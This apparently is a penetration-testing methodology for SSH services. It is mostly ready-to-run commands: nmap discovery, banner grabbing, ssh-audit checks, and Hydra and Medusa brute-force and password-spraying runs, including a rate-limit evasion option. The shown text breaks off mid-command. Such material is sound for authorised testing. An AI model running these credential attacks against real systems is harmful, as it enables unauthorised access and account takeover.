SSH Penetration Testing
Purpose
Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.
Prerequisites
Required Tools
- Nmap with SSH scripts
- Hydra or Medusa for brute-forcing
- ssh-audit for configuration analysis
- Metasploit Framework
- Python with Paramiko library
Required Knowledge
- SSH protocol fundamentals
- Public/private key authentication
- Port forwarding concepts
- Linux command-line proficiency
Outputs and Deliverables
- **SSH Enumeration Report** - Versions, algorithms, configurations
- **Credential Assessment** - Weak passwords, default credentials
- **Vulnerability Assessment** - Known CVEs, misconfigurations
- **Tunnel Documentation** - Port forwarding configurations
Core Workflow
Phase 1: SSH Service Discovery
Identify SSH services on target networks:
# Quick SSH port scan
nmap -p 22 192.168.1.0/24 --open
# Common alternate SSH ports
nmap -p 22,2222,22222,2200 192.168.1.100
# Full port scan for SSH
nmap -p- --open 192.168.1.100 | grep -i ssh
# Service version detection
nmap -sV -p 22 192.168.1.100Phase 2: SSH Enumeration
Gather detailed information about SSH services:
# Banner grabbing
nc 192.168.1.100 22
# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5
# Telnet banner grab
telnet 192.168.1.100 22
# Nmap version detection with scripts
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100
# Enumerate supported algorithms
nmap -p 22 --script ssh2-enum-algos 192.168.1.100
# Get host keys
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100
# Check authentication methods
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100Phase 3: SSH Configuration Auditing
Identify weak configurations:
# ssh-audit - comprehensive SSH audit
ssh-audit 192.168.1.100
# ssh-audit with specific port
ssh-audit -p 2222 192.168.1.100
# Output includes:
# - Algorithm recommendations
# - Security vulnerabilities
# - Hardening suggestionsKey configuration weaknesses to identify:
- Weak key exchange algorithms (diffie-hellman-group1-sha1)
- Weak ciphers (arcfour, 3des-cbc)
- Weak MACs (hmac-md5, hmac-sha1-96)
- Deprecated protocol versions
Phase 4: Credential Attacks
#### Brute-Force with Hydra
# Single username, password list
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
# Username list, single password
hydra -L users.txt -p Password123 ssh://192.168.1.100
# Username and password lists
hydra -L users.txt -P passwords.txt ssh://192.168.1.100
# With specific port
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100
# Rate limiting evasion (slow)
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100
# Verbose output
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100
# Exit on first success
hydra -l admin -P passwords.txt -f ssh://192.168.1.100#### Brute-Force with Medusa
# Basic brute-force
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh
# Multiple targets
medusa -H targets.txt -u admin -P passwords.txt -M ssh
# With username list
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh
# Specific port
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222#### Password Spraying
# Test common password across users
hydra -L users.txt -p Summer2024! ssh://192.168.1.100
# Multiple common passwords
for pass
<!-- truncated -->